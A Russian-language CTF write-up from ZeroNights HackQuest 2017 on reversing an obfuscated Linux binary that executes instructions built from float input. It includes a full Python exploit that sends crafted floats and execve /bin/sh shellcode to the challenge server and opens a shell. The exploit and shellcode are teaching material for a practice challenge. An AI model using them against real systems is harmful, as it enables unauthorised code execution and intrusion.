R0 CREW

[ZNHQ2017] Day#6

Zero Nights HackQuest 2017

Решил и я поддержать эстафету от sysenter’а и поточить перо об райтап.

Ветхий Завет : Бытие : Глава 1, Пс 110, 3 Сир 39, 21 “…И был вечер, и было утро: день шестой.”
Ой, не то…

DAY 6 / STRANGE COMMAND SERVER

Description:
Some server receives commands in a very strange format. We have some command for it and its sources.
It is located on nc spbctf.ppctf.net 5353.
Get the flag!

(If task lags, ask @awengar on telegram, please, after solution tell @awengar how much time did you spend)

This task was prepared by RuCTFe.

По итогу нам дано два файла: текстовой hq2017_task6_test.txt с содержимым

5
13644205794.0 385557128.099 -566484950.0 -385556280.099 -12510807118.0

и бинарь сервиса hq2017_task6_m116 (а в описании обещали исходник [and its sources]).

Сервис висит на spbctf.ppctf.net:5353. Автор Артур Ханов (aka awengar) один из вдохновителей группы spbctf, хотя подписался за RuCTFe.

[Part #1 Reverse]

Предоставленный бинарь - стандартный пострипаный эльф 64 бита с динамической линковкой.
hq2017_task6_m116: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), stripped

В случае с динамической линковкой главное чтобы бинарь не был выхлопом какой нибудь экзотики и не требовал установки кучи зависимостей.
Этот запустился локально без проблем, но представленные входные данные абсолютно бесполезны и приводят к падению приложения с сигфолтом.
Самое время посмотреть, что там под капотом (или что у вас, ребята, в рюкзаках).
Скормим его IDA.

IDA покряхтела и ничего вразумительного не выдала. Здравствуй, Обфускация.
Того кто видел обфускацию Execryptor, Themida, VMProtect, Denuvo это только бы улыбнуло. Даже LOL.
Немного лапши, аля spaghetti-code, немного мусорного кода незатрагивающего состояния используемых регистров и локальных переменных и совсем чуть-чуть самомодификации.
Любителям HexRay это может поломать жизнь, но нас ведь не остановит. Кода не много и заморачиваться с автоматизацией нет смысла.

На первом этапе в статике проведем восстановление реальных адресов перехода для самомодифицирующегося кода.
Например (ДО):

.text:0000000000401189 loc_401189: 
.text:0000000000401189                 mov     dword ptr ds:loc_4011AA+1, 0FFFFFA3Bh >>>>>>>>>>> восстановление реального адреса перехода
.text:0000000000401194                 mov     word ptr ds:loc_401189, 13EBh         >>>>>>>>>>> ликвидация последующей модификации
.text:000000000040119E                 mov     eax, r12d                             >>>>>>>>>>> мусорная команда
.text:00000000004011A1                 mov     eax, [rbp-18h]
.text:00000000004011A4                 add     eax, 1
.text:00000000004011A7                 mov     [rbp-18h], eax
.text:00000000004011AA loc_4011AA: 
.text:00000000004011AA                 jmp     near ptr 40197Dh                      >>>>>>>>>>> пальцем в небо

и (ПОСЛЕ):

.text:0000000000401189 loc_401189:
.text:0000000000401189                 jmp     short loc_40119E                      >>>>>>>>>>> обход кода выполнявшего модификацию
.text:0000000000401189 ; ---------------------------------------------------------------------------
.text:000000000040118B                 db 25h, 0ABh, 11h, 40h, 0, 3Bh, 0FAh, 2 dup(0FFh), 66h, 0C7h, 4, 25h
.text:000000000040118B                 db 89h, 11h, 40h, 0, 0EBh, 13h
.text:000000000040119E ; ---------------------------------------------------------------------------
.text:000000000040119E loc_40119E:                             
.text:000000000040119E                 mov     eax, r12d                             >>>>>>>>>>> мусорная команда
.text:00000000004011A1                 mov     eax, [rbp-18h]
.text:00000000004011A4                 add     eax, 1
.text:00000000004011A7                 mov     [rbp-18h], eax
.text:00000000004011AA loc_4011AA:
.text:00000000004011AA                 jmp     loc_400BEA                            >>>>>>>>>>> реальный адрес перехода

Приводить пример замусоривания кода не имеет смысла, так как он построен на регистрах и переменных в памяти, которые не участвуют в потоке исполнения и легко различимы на взгляд.

После восстановления адресов переходов внутри лапши, можно легко собрать код. Ниже представлен чищенный код, который в своем большинстве подготовлен уже для райтапа и краткое описание функционала.
ЗЫ: Ввиду обфусцированного происхождения кода, адреса в листинге не последовательны и оставлены лишь с целью идентификации того или иного участка кода.

Точка входа программы (main): настраивается буферизация потоков ввода вывода, запрашивается количество значений в данных, выделяется память для их размещения, в цикле получаются от пользователя значения с плавающей точкой, этот массив отдается на обработку и по возврату выводится на экран возвращаемое значение в шестнадцатеричном представлении.

.text:0000000000400AD2                  push    rbp
.text:0000000000400ADD                  mov     rbp, rsp
.text:00000000004008AE                  sub     rsp, 40h
.text:00000000004008BB                  xor     eax, eax
.text:00000000004008BD                  mov     ecx, eax
.text:00000000004008BF                  mov     edx, 2
.text:00000000004008C4                  mov     dword ptr [rbp-4], 0       ; ret value
.text:000000000040121F                  mov     [rbp-8], edi               ; argc
.text:0000000000401229                  mov     [rbp-10h], rsi             ; argv
.text:0000000000400EDF                  mov     dword ptr [rbp-14h], 0     ; number elements of float data array
.text:0000000000400EE9                  mov     rdi, ds:qword_6021C8
.text:0000000000400EF1                  mov     rsi, rcx
.text:0000000000400EF4                  call    _setvbuf
.text:0000000000401104                  xor     edx, edx             
.text:0000000000401106                  mov     ecx, edx        
.text:000000000040110F                  mov     edx, 2          
.text:0000000000400D1A                  mov     rdi, ds:qword_6021C0 
.text:0000000000400D25                  mov     rsi, rcx 
.text:0000000000400D2B                  call    _setvbuf
.text:00000000004010B0                  mov     rdi, offset aD  ; "%d"
.text:00000000004010BA                  lea     rsi, [rbp-14h]             
.text:00000000004010C3                  mov     al, 0               
.text:00000000004010C5                  call    ___isoc99_scanf            ; get number elements of float data array
.text:000000000040112E                  cmp     dword ptr [rbp-14h], 0     ; if zero
.text:0000000000401135                  jnz     short loc_40113C
.text:0000000000400861                  mov     dword ptr [rbp-4], 1       ; ret value = 1 and exit
.text:0000000000400868                  jmp     EXIT_SYSCALL
.text:0000000000400A47 loc_40113C:      mov     eax, [rbp-14h]             ; allocate memory for float data array
.text:0000000000400A4C                  mov     ecx, eax
.text:0000000000401207                  shl     rcx, 3                     ; * 8 - sizeof(double)
.text:0000000000401212                  mov     rdi, rcx      
.text:0000000000401215                  call    _malloc
.text:0000000000400F82                  mov     [rbp-20h], rax
.text:0000000000400F86                  mov     dword ptr [rbp-18h], 0     ; index = 0
                                        jmp     short loc_400BEA
.text:000000000040082C LOOP:            mov     rdi, offset aLf ; "%lf"
.text:0000000000400844                  mov     eax, [rbp-18h]
.text:00000000004011BF                  mov     ecx, eax
.text:00000000004011C4                  shl     rcx, 3
.text:0000000000400B47                  add     rcx, [rbp-20h]
.text:0000000000400B4D                  mov     rsi, rcx
.text:0000000000400B52                  mov     al, 0                    
.text:0000000000400B54                  call    ___isoc99_scanf            ; get element of float data array
.text:00000000004011A1                  mov     eax, [rbp-18h]
.text:00000000004011A4                  add     eax, 1
.text:00000000004011A7                  mov     [rbp-18h], eax             ; increment index
.text:0000000000400BEA loc_400BEA:      mov     eax, [rbp-18h]
.text:0000000000400BED                  cmp     eax, [rbp-14h]
.text:0000000000400BF0                  jnb     short loc_400BF7           ; check loop limit
                                        jmp     short LOOP
.text:0000000000400C01 loc_400BF7:      mov     rdi, [rbp-20h]             ; float array pointer 
.text:0000000000400C05                  mov     esi, [rbp-14h]             ; number elements
.text:0000000000400C08                  call    sub_40102D
.text:0000000000400AB7                  mov     rdi, offset format ; "%x\n"
.text:0000000000400AC4                  mov     esi, eax
.text:0000000000400AC6                  mov     al, 0
.text:0000000000400AC8                  call    _printf
.text:0000000000400D7E                  mov     dword ptr [rbp-4], 0       ; ret value = 0
.text:0000000000400B61 EXIT_SYSCALL:    mov     eax, [rbp-4]
.text:0000000000400B64                  add     rsp, 40h
.text:0000000000400B68                  pop     rbp
.text:0000000000400B69                  mov     rax, 3Ch
.text:0000000000400B70                  mov     rdi, 0
.text:0000000000400B77                  syscall

Основная функция обработки (принимает на входе массив данных с плавающей точкой и их количество). В цикле массив данных отдается на последующую обработку, результирующее значение округляется и приводится к целому. Далее целое значение рассматривается как байты формирующие команду. Эта команда (группа команд) исполняется, при этом сохраняется и восстанавливается контекст (rdi, rsi, rdx). Финальное значение регистра rаx (при исполнении команд), выводится на экран в main.

.text:000000000040102D                  push    rbp
.text:0000000000401035                  mov     rbp, rsp
.text:0000000000401038                  sub     rsp, 70h
.text:000000000040103C                  lea     rax, [rbp-18h]             ; code buffer
.text:0000000000401040                  mov     [rbp-8], rdi               ; float array pointer 
.text:0000000000401044                  mov     [rbp-0Ch], esi             ; number elements
.text:0000000000400FEE                  mov     [rbp-20h], rax             ; code buffer pointer (for call)
.text:0000000000400FF2                  mov     [rbp-5Ch], 0               ; index = 0
.text:0000000000400FF9                  jmp     loc_400F0E
.text:0000000000400E73 loc_400E71:      mov     rdi, [rbp-8]               ; float array pointer 
.text:0000000000400E80                  mov     esi, [rbp-5Ch]             ; index
.text:0000000000400E86                  mov     edx, [rbp-0Ch]             ; number elements
.text:00000000004010CC                  call    sub_400A5A                 ; return value in xmm0
.text:0000000000400A93                  lea     rdi, [rbp-18h]             ; code buffer
.text:0000000000400AA1                  mov     [rbp-70h], rdi             ; code buffer pointer (for make code)
.text:0000000000400AA5                  call    _round
.text:0000000000400F56                  cvttsd2si rdi, xmm0
.text:0000000000400F5B                  mov     [rbp-18h], rdi
.text:0000000000400F5F                  mov     rdi, [rbp-70h]             
.text:0000000000400F63                  call    sub_400C3E                 ; make command
//////////////////////////////////////////////////////////////////////////////////////////////////////
.text:0000000000400DFB                  mov     [rbp-58h], rdi             ; save RDI
.text:0000000000400DFF                  mov     [rbp-50h], rsi             ; save RSI
.text:0000000000400E14                  mov     [rbp-48h], rdx             ; save RDX
   ///////////////////////////////////////////////////////////////////////////////////////////////////
.text:0000000000400DD0                  mov     rdx, [rbp-28h]             
.text:0000000000400DE5                  mov     rsi, [rbp-30h]             
.text:00000000004009A8                  mov     rdi, [rbp-38h]             
.text:00000000004009AC                  mov     al, 0                      
.text:00000000004009AE                  call    qword ptr [rbp-20h]        ; execute formed instruction
.text:0000000000400E46                  mov     [rbp-38h], rdi             ; save result RDI
.text:0000000000400E4A                  mov     [rbp-30h], rsi             ; save result RSI
.text:0000000000400E56                  mov     [rbp-28h], rdx             ; save result RDX
.text:0000000000400E5D                  mov     [rbp-40h], rax             ; save result RAX
   ///////////////////////////////////////////////////////////////////////////////////////////////////
.text:0000000000400E61                  mov     rdx, [rbp-48h]             ; restore RDX
.text:00000000004009ED                  mov     rsi, [rbp-50h]             ; restore RSI
.text:00000000004009F1                  mov     rdi, [rbp-58h]             ; restore RDI
//////////////////////////////////////////////////////////////////////////////////////////////////////
.text:0000000000400DB1                  mov     eax, [rbp-5Ch]
.text:0000000000400DB4                  add     eax, 1
.text:0000000000400DB7                  mov     [rbp-5Ch], eax
.text:0000000000400F0E loc_400F0E:      mov     eax, [rbp-5Ch]
.text:0000000000400F11                  cmp     eax, [rbp-0Ch]
.text:0000000000400F14                  jnb     short loc_400F1B
.text:0000000000400F16                  jmp     loc_400E71
.text:0000000000400A82 loc_400F1B:      mov     rax, [rbp-40h]
.text:0000000000400A8D                  add     rsp, 70h
.text:0000000000400A91                  pop     rbp
.text:0000000000400A92                  retn

функция обработки массива исходных данных. Единственная подпрограмма подлежащая полному восстановлению. Восстановленный алгоритм представлен на python ниже.

.text:0000000000400A5A                  push    rbp
.text:0000000000400A64                  mov     rbp, rsp
.text:00000000004008D7                  sub     rsp, 40h
.text:00000000004008E3                  movsd   xmm0, ds:dbl_602098        ; 1.0
.text:00000000004008F1                  xorps   xmm1, xmm1          
.text:00000000004008F4                  mov     [rbp-8], rdi               ; float array pointer 
.text:0000000000401082                  mov     [rbp-0Ch], esi             ; index               
.text:000000000040108C                  mov     [rbp-10h], edx             ; number elements     
.text:0000000000401097                  movsd   qword ptr [rbp-18h], xmm1 
.text:00000000004010A0                  mov     rdi, [rbp-8]
.text:0000000000400987                  movsd   xmm1, qword ptr [rdi]                         
.text:000000000040098B                  movsd   qword ptr [rbp-18h], xmm1                     
.text:0000000000400990                  movsd   qword ptr [rbp-20h], xmm0 
.text:0000000000400995                  mov     dword ptr [rbp-24h], 0    
.text:000000000040099E                  jmp     loc_400BDB                                    
.text:0000000000400FA7 loc_400F92:      movsd   xmm0, ds:dbl_6020B0        ; -1.0
.text:0000000000400FB0                  mulsd   xmm0, qword ptr [rbp-20h]
.text:0000000000400FB5                  movsd   qword ptr [rbp-20h], xmm0
.text:0000000000400B00                  mov     eax, [rbp-24h]
.text:0000000000400B03                  add     eax, 1
.text:0000000000400B06                  mov     [rbp-24h], eax
.text:0000000000400BDB loc_400BDB:      mov     eax, [rbp-24h]      
.text:0000000000400BDE                  cmp     eax, [rbp-0Ch]      
.text:0000000000400BE1                  jge     short loc_400BE8
.text:0000000000400BE3                  jmp     loc_400F92   
.text:0000000000400C78 loc_400BE8:      movsd   xmm0, qword ptr [rbp-18h] 
.text:0000000000400C89                  movsd   xmm1, qword ptr [rbp-20h]  ; 1.0/-1.0       
.text:0000000000400FCB                  mov     eax, [rbp-10h]            
.text:0000000000400FD1                  sub     eax, 1                                        
.text:0000000000401009                  movsxd  rcx, eax
.text:0000000000401016                  mov     rdx, [rbp-8]              
.text:000000000040101A                  mulsd   xmm1, qword ptr [rdx+rcx*8]
.text:000000000040101F                  addsd   xmm0, xmm1
.text:0000000000401023                  movsd   qword ptr [rbp-18h], xmm0
.text:00000000004009DE                  mov     dword ptr [rbp-28h], 1
                                        jmp     short loc_400D8F  
.text:0000000000400922 loc_40091D:      movsd   xmm0, ds:dbl_602098        ; 1.0           
.text:0000000000400BAB                  movsd   xmm1, ds:dbl_6020A8        ; pi            
.text:0000000000400BC2                  movsd   xmm2, ds:dbl_6020A0        ; 2.0           
.text:0000000000400BCF                  movsd   xmm3, qword ptr [rbp-18h]                     
.text:0000000000400E24                  movsxd  rax, dword ptr [rbp-28h]  
.text:0000000000400E2B                  mov     rcx, [rbp-8]              
.text:0000000000400E2F                  mulsd   xmm2, qword ptr [rcx+rax*8]
.text:0000000000400E34                  cvtsi2sd xmm4, dword ptr [rbp-0Ch] 
.text:0000000000400E39                  mulsd   xmm1, xmm4                 
.text:0000000000400E95                  mulsd   xmm1, xmm0  
.text:0000000000400E99                  cvtsi2sd xmm4, dword ptr [rbp-28h] 
.text:0000000000400E9E                  mulsd   xmm1, xmm4                 
.text:0000000000400EA2                  mulsd   xmm1, xmm0  
.text:0000000000400EA6                  cvtsi2sd xmm4, dword ptr [rbp-10h]
.text:0000000000400EAB                  subsd   xmm4, xmm0                
.text:0000000000400EAF                  mulsd   xmm0, xmm4
.text:0000000000400EBC                  divsd   xmm1, xmm0                
.text:0000000000400EC5                  movaps  xmm0, xmm1
.text:0000000000400EC8                  movsd   qword ptr [rbp-30h], xmm2 
.text:0000000000400ECD                  movsd   qword ptr [rbp-38h], xmm3 
.text:0000000000400ED2                  call    _cos
.text:0000000000400B29                  movsd   xmm1, qword ptr [rbp-30h]  
.text:0000000000400B2E                  mulsd   xmm1, xmm0                 
.text:0000000000400B32                  movsd   xmm0, qword ptr [rbp-38h]
.text:0000000000400B37                  addsd   xmm0, xmm1
.text:0000000000400B3B                  movsd   qword ptr [rbp-18h], xmm0  
.text:000000000040090F                  mov     eax, [rbp-28h]
.text:0000000000400912                  add     eax, 1
.text:0000000000400915                  mov     [rbp-28h], eax
.text:0000000000400D8F loc_400D8F:      mov     eax, [rbp-28h]
.text:0000000000400D92                  mov     ecx, [rbp-10h]
.text:0000000000400D95                  sub     ecx, 1
.text:0000000000400D98                  cmp     eax, ecx
.text:0000000000400D9A                  jge     short loc_400DA1
.text:0000000000400D9C                  jmp     loc_40091D
.text:000000000040095D loc_400DA1:      movsd   xmm0, ds:qword_6020A0      ; 2.0
.text:000000000040096F                  movsd   xmm1, ds:qword_602098      ; 1.0
.text:000000000040097B                  movsd   xmm2, qword ptr [rbp-18h] 
.text:000000000040105E                  cvtsi2sd xmm3, dword ptr [rbp-10h]
.text:0000000000401063                  subsd   xmm3, xmm1                 
.text:0000000000401067                  mulsd   xmm0, xmm3                
.text:000000000040106B                  divsd   xmm2, xmm0                
.text:0000000000401073                  movsd   qword ptr [rbp-18h], xmm2
.text:0000000000401078                  movsd   xmm0, qword ptr [rbp-18h]
.text:0000000000400C93                  add     rsp, 40h
.text:0000000000400C97                  pop     rbp
.text:0000000000400C98                  retn
import math

def sub_400A5A(buf, parIdx, bufLen):
  val18 = buf[0]                   
  val20 = 1.0                      
  for i in range(parIdx):          
     val20 *= -1.0                 
  val18 += (val20 * buf[bufLen-1]) 
  for i in range(1, bufLen-1):
     val18 += 2.0 * math.cos((float(i) * (3.141592653589793 * parIdx)) / (float(bufLen) - 1.0)) * buf[i]
  val18 /= (2.0 * (float(bufLen) - 1.0)) # 6
  return val18

Функция формирования кода подпрограммы. Определяет длину байтовой последовательности в стековом буфере и размещает впритык к байтам команды 2-3 байта C3h (ret). Максимальная длина обрабатываемой байтовой последовательности 6 байт определяется маской 0FF000000000000h.

.text:0000000000400C3E                 push    rbp
.text:0000000000400C3F                 sub     rbp, r9
.text:0000000000400C42                 mov     rbp, rsp
.text:0000000000400C45                 mov     [rbp-8], rdi
.text:0000000000400C50                 mov     rdi, [rbp-8]
.text:0000000000400C54                 mov     rdi, [rdi]
.text:0000000000401243                 and     rdi, 0FF00h
.text:000000000040124A                 cmp     rdi, 0
.text:000000000040124E                 jnz     short loc_401255
.text:0000000000401250                 jmp     loc_400C12
                        loc_401255:
.text:000000000040086D                 mov     rax, [rbp-8]
.text:0000000000400871                 mov     rax, [rax]
.text:0000000000400874                 and     rax, 0FF0000h
.text:000000000040087A                 cmp     rax, 0
.text:000000000040087E                 jnz     short loc_400882
.text:0000000000400880                 jmp     short loc_400887
                        loc_400882:
.text:00000000004011E0                 mov     rax, [rbp-8]
.text:00000000004011E7                 mov     rcx, 0FF000000h
.text:00000000004011F1                 and     rcx, [rax]
.text:00000000004011F4                 cmp     rcx, 0
.text:00000000004011F8                 jnz     short loc_4011FF
.text:00000000004011FA                 jmp     loc_40115B
                        loc_4011FF:
.text:0000000000400CA6                 mov     rax, [rbp-8]
.text:0000000000400CAA                 mov     rcx, 0FF00000000h
.text:0000000000400CB4                 and     rcx, [rax]
.text:0000000000400CB7                 cmp     rcx, 0
.text:0000000000400CBB                 jnz     short loc_400CC2
.text:0000000000400CBD                 jmp     loc_400A01
                        loc_400CC2:
.text:0000000000400F27                 mov     rax, [rbp-8]
.text:0000000000400F2B                 mov     rcx, 0FF0000000000h
.text:0000000000400F35                 and     rcx, [rax]
.text:0000000000400F38                 cmp     rcx, 0
.text:0000000000400F3C                 jnz     short loc_400F43
.text:0000000000400F3E                 jmp     loc_400CC7
                        loc_400F43:
.text:00000000004010D9                 mov     rax, [rbp-8]
.text:00000000004010E0                 mov     rcx, 0FF000000000000h
.text:00000000004010EA                 and     rcx, [rax]
.text:00000000004010ED                 cmp     rcx, 0
.text:00000000004010F1                 jnz     short exit
.text:00000000004010F3                 jmp     loc_400D48
                        loc_400D48:
.text:0000000000400D48                 mov     rax, [rbp-8]
.text:0000000000400D53                 mov     rcx, 0C3C3000000000000h
.text:0000000000400D5D                 or      rcx, [rax]
.text:0000000000400D60                 mov     rax, [rbp-8]
.text:0000000000400D64                 mov     [rax], rcx
.text:00000000004008A4                 jmp     exit
                        loc_400CC7:
.text:0000000000400CD6                 mov     rax, [rbp-8]
.text:0000000000400CDA                 mov     rcx, 0C3C3C30000000000h
.text:0000000000400CE4                 or      rcx, [rax]
.text:0000000000400B89                 mov     rax, [rbp-8]
.text:0000000000400B8D                 mov     [rax], rcx
.text:00000000004008A4                 jmp     exit
                        loc_400A01:
.text:0000000000400A0F                 mov     rax, [rbp-8]
.text:0000000000400A1D                 mov     rcx, 0C3C3C300000000h
.text:0000000000400A27                 or      rcx, [rax]
.text:00000000004009B6                 mov     rax, [rbp-8]
.text:00000000004009BA                 mov     [rax], rcx
.text:00000000004008A4                 jmp     exit
                        loc_40115B:
.text:0000000000401166                 mov     rax, [rbp-8]
.text:000000000040116A                 add     rcx, r10
.text:000000000040116D                 mov     rcx, 0C3C3C3000000h
.text:0000000000401177                 or      rcx, [rax]
.text:000000000040117A                 sub     rax, r10
.text:000000000040117D                 mov     rax, [rbp-8]
.text:0000000000401181                 mov     [rax], rcx
.text:00000000004008A4                 jmp     exit
                        loc_400887:
.text:0000000000400887                 mov     rax, [rbp-8]
.text:000000000040088B                 mov     rcx, 0C3C3C30000h
.text:0000000000400895                 or      rcx, [rax]
.text:0000000000400898                 xor     rax, r10
.text:000000000040089B                 mov     rax, [rbp-8]
.text:000000000040089F                 mov     [rax], rcx
.text:00000000004008A4                 jmp     exit
                        loc_400C12:
.text:0000000000400C12                 xor     rcx, rcx
.text:0000000000400C15                 mov     rax, [rbp-8]
.text:0000000000400C19                 mov     rcx, 0C3C3C300h
.text:0000000000400C23                 or      rcx, [rax]
.text:0000000000400C2E                 mov     rax, [rbp-8]
.text:0000000000400C32                 mov     [rax], rcx
                        exit:
.text:0000000000400BF9                 pop     rbp
.text:0000000000400BFA                 retn

Вот пожалуй и весь реверс. Теперь переходим к сладкому…

[Part #2 Pwning]

Конечным итогом пользовательского ввода, обработки и формирования команды является ее исполнение

.text:0000000000400DD0                  mov     rdx, [rbp-28h]     
.text:0000000000400DE5                  mov     rsi, [rbp-30h]     
.text:00000000004009A8                  mov     rdi, [rbp-38h]     
.text:00000000004009AC                  mov     al, 0              
.text:00000000004009AE                  call    qword ptr [rbp-20h]

Набор регистров rax, rdi, rsi, rdx соответствует системному вызову на linux x64

С учетом того, что регистр AL устанавливается в ноль, нас подталкивают к исполнению системного вызова sys_read. С помощью которого мы сможем прочитать шеллкод.

Следовательно вырисовывается следующий план:

  1. Сформировать команды которые установят регистры в значения необходимые для вызова sys_read;
  2. Исполнить syscall sys_read и загрузить шеллкод.
  3. Передать управление на шеллкод и получить шелл.
  4. Что с этим делать разберемся по ходу :slight_smile:

П.1
RSI должен содержать указатель на буфер чтения, в котором нам прийдется и исполнять наш шеллкод. Поэтому нам нужна область памяти с правами WX.
Кандидатов два:
первый - кодовый сегмент, в котором помимо, разумеется, возможности исполнения есть и нетипичная возможность записи, учитывая саомодифицирующийся код для обфускации.
второй - стек с гарантированными правами на чтение и запись, но и с возможностью исполнения, учитывая возможноть исполнения сформированных команд.
Остановимся на стеке. У нас есть два указателя на одну и ту же область стека, один для формирования команд [rbp-70h], другой для их исполнения [rbp-20h].
Таким образом, лля инициализации RSI вполне подойдет следующая команда.

mov rsi, [rbp-70h]

Для нашего чтения не обязательно устанавливать точное значение длины шелкода, тем более, что с ним мы еще не определились. Достаточно чтобы это значение было не меньше.
Остановимся на следующей команде и ввиду того, что младший байт AX на входе обнуляется, то надеемся получить какое либо значение в диапазоне 0100h…ff00h.

movzx rdx, ax

Читать шеллкод нам нужно со stdin, который наверняка висит на сокете с помощью socat. Его файловый дескриптор 0 и поэтому нам необходимо обнулить RDI.

xor rdi, rdi

Все регистры вроде как установлены и нам понадобится сам

syscall

Attention: Невнимательность стоит дорого и наказывается потерей времени и дополнительными телодвижениями.

Так вот, малята, казочка. Установки в ноль лишь младшего байта недостаточно для определения номера syscall’а (чего впрочем было достаточно в Int 21h DOS).

.text:00000000004009AC mov al, 0

Необходимо обнулять весь регистр RAX, причем это необходимо делать сразу перед syscall’ом, т.к. значение RAX не восстанавливается из переменной до исполнения команды.
Поэтому последний блок должен быть

xor rax,rax
syscall

Команд/блоков команд у нас получилось всего 4. Теперь самый сложный вопрос как превратить пользовательский ввод в виде чисел с плавающей точкой с постобработкой в цикле с косинусами в наши команды.
Для получения бинарного представления наших команд воспользуемся онлайн ассемблером.

48 31 ff     xor     rdi, rdi        
48 8b 75 90  mov     rsi, [rbp-0x70] 
48 0f b7 d0  movzx   rdx, ax         
48 31 c0     xor     rax,rax         
0f 05        syscall                 

Длина ни одной команды включая последний блок из двух команд не превышает 6, лимита длины формируемой команды (о чем мы уже упоминали выше).
Именно по этой причине отказались от точного формирования длины шелкода, что потребовало бы команду длиной 7 байт.
Например:

48 c7 c2 19 00 00 00    mov    rdx,19h

Таким образом для формирования команд нам на выходе математического преобразования необходимо последовательно получить следующие значения.
ЗЫ: Порядок исполнения первых трех команд не важен, т.к. результаты исполнения сохраняются в переменных и восстанавливаются при исполнении последующих команд.

48 31 ff     xor     rdi, rdi         0xff3148
48 8b 75 90  mov     rsi, [rbp-0x70]  0x90758b48
48 0f b7 d0  movzx   rdx, ax          0xd0b70f48
48 31 c0     xor     rax,rax         
0f 05        syscall                  0x050fc03148

Опуская из рассмотрения преобразование из значения с плавающей точкой в целое и округление результата, в последней фазе формирования значения у нас происходит деление

val18 /= (2.0 * (float(bufLen) - 1.0))

Опираясь на то, что мы собираемся ввести лишь четыре числа, величину делителя можно рассчитать (2 * (4 - 1) = 6).
Поднимаемся по коду снизу вверх и значит в результате циклических преобразований нам необходимо получить значения

0xff3148 * 6 = 100345776.0
0x90758b48 * 6 = 14541734832.0
0xd0b70f48 * 6 = 21009947568.0
0x050fc03148 * 6 = 130434541488.0

Теперь обратим внимание на строку кода

val18 += 2.0 * math.cos((float(i) * (3.141592653589793 * parIdx)) / (float(bufLen) - 1.0)) * buf[i]

На первый взгляд самый сложный для обсчета кусок с косинусом, но при детальном рассмотрении видно, что

2 * math.cos((float(i) * (3.141592653589793 * parIdx)) / (float(bufLen) - 1.0))

не зависит от вводимых данных и может быть расчитана отдельно

import math
for j in range(4):
  for i in range(1, 4-1):
    print '%f'%(2.0 * math.cos((float(i) * (3.141592653589793 * j)) / (float(4) - 1.0)))
  print

В результате видим, что не так страшен черт

2.000000
2.000000

1.000000
-1.000000

-1.000000
-1.000000

-2.000000
2.000000

При вводе четырех данных наш цикл представляет собой сумму всего лишь двух значений и может быть представлен как.

....+2.0*(второе число) +2.0*(третье число) = 21009947568.0
....+1.0*(второе число) -1.0*(третье число) = 14541734832.0
....-1.0*(второе число) -1.0*(третье число) = 100345776.0
....-2.0*(второе число) +2.0*(третье число) = 130434541488.0

Участок кода

val20 = 1.0                      
for i in range(parIdx):          
   val20 *= -1.0                 
val18 += (val20 * buf[bufLen-1]) 

добавляет в наши уравнения еще по одному слагаемому (с чередующимся знаком перед ним)

....+(четвертое число) +2.0*(второе число) +2.0*(третье число) = 21009947568.0
....-(четвертое число) +1.0*(второе число) -1.0*(третье число) = 14541734832.0
....+(четвертое число) -1.0*(второе число) -1.0*(третье число) = 100345776.0
....-(четвертое число) -2.0*(второе число) +2.0*(третье число) = 130434541488.0

И наконец начинаем с первого значения и получаем следующую систему уравнений
val18 = buf[0]

X0+X3+2.0*X1+2.0*X2 = 21009947568.0
X0-X3+1.0*X1-1.0*X2 = 14541734832.0
X0+X3-1.0*X1-1.0*X2 = 100345776.0
X0-X3-2.0*X1+2.0*X2 = 130434541488.0

Для ее решения воспользуемся очередным онлайн сервисом.

Вводим наши уравнения

жмем волшебную кнопку и вуаля

Остается проверить все ли у нас получилось

import math

def sub_400A5A(buf, parIdx, bufLen):
  val18 = buf[0]                   
  val20 = 1.0                      
  for i in range(parIdx):          
     val20 *= -1.0                 
  val18 += (val20 * buf[bufLen-1]) 
  for i in range(1, bufLen-1):
     val18 += 2.0 * math.cos((float(i) * (3.141592653589793 * parIdx)) / (float(bufLen) - 1.0)) * buf[i]
  val18 /= (2.0 * (float(bufLen) - 1.0)) # 6
  print 'val18\t%f'%val18
  return val18

buf = [30121441712.0, -15830534144.0, 22800401408.0, -23051228672.0]

for i in range(len(buf)):
   print '%x'%int(round(sub_400A5A(buf, i, len(buf)), 0))

Полученные результаты обнадеживают, если не подкрадется округление :slight_smile:

val18	3501657928.000000
d0b70f48
val18	2423622472.000002
90758b48
val18	16724295.999996
ff3148
val18	21739090248.000000
50fc03148

П.2
Самое время перейти ко второму пункту нашего коварного плана и подумать о шеллкоде. Нам подойдет любой из класса Linux/x86-64 - execve /bin/sh.
Я остановился на неоднократно провереном шеллкоде. Считаем что syscall наш отработает и загрузит наш шеллкод в память процесса.
Грузим мы его по адресу текущего исполнения, наш последний блок команд xor rax,rax; syscall (48 31 c0 0f 05) и если добавить эти (или другие) байты в начало шелкода, то исполнение сразу после возврата из syscall’а попадет на шеллкод.
П.3
И проблема запланированная третьим пунктом исчезла.

Вся подготовительная работа проведена, пора эксплуатировать.

#!/usr/bin/python
import socket
import telnetlib

def interact():
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('spbctf.ppctf.net', 5353))
print '[+] Send DATA'
s.send('4\n')
s.send('30121441712.0\n')
s.send('-15830534144.0\n')
s.send('22800401408.0\n')
s.send('-23051228672.0\n')
print '[+] Send SHELLCODE'
s.send('\x48\x31\xc0\x0f\x05' + shellcode_x64 + '\n')
print '[+] Go to Shell Interactive'
interact()

Коннектимся, отправляем наши данные, засылаем шеллкод и надеемся что получим шелл.

П.4
Кто молодец? Я молодец!

C:\!CTF\2017\zeronights\day6>exp.py
[+] Send DATA
[+] Send SHELLCODE
[+] Go to Shell Interactive
ls
flag.txt
m116
run.sh
run_image.sh
runserver.sh

Начнем конечно же с флага

cat flag.txt
H0P3_U_3Nj0Y3D_OU12_OBFUSKATOR

Как видно из текста флага, автор основной упор делал на обфускацию, которую мы не заметили.

Грех не посмотреть как все было устроено.

cat run_image.sh
#!/bin/sh
sudo docker run --net=host -v /home/ctf/zn2017q:/home/user --name=zn -ti debian /bin/bash

cat runserver.sh
#!/bin/bash
socat -d TCP4-LISTEN:5353,reuseaddr,fork,keepalive exec:./run.sh

cat run.sh
#!/bin/bash
timeout 120 ./m116

Как видно все находится в контейнере докера и как предполагалось висит на сокате.

“Ось і все малята любі хлопчики, й дівчата. А зараз, малята, лягайте у ліжечка, і хай …” и дальше по классике деда Панаса.

приложите файл сервера к статье hq2017_task6_m116 ну и hq2017_task6_test.txt

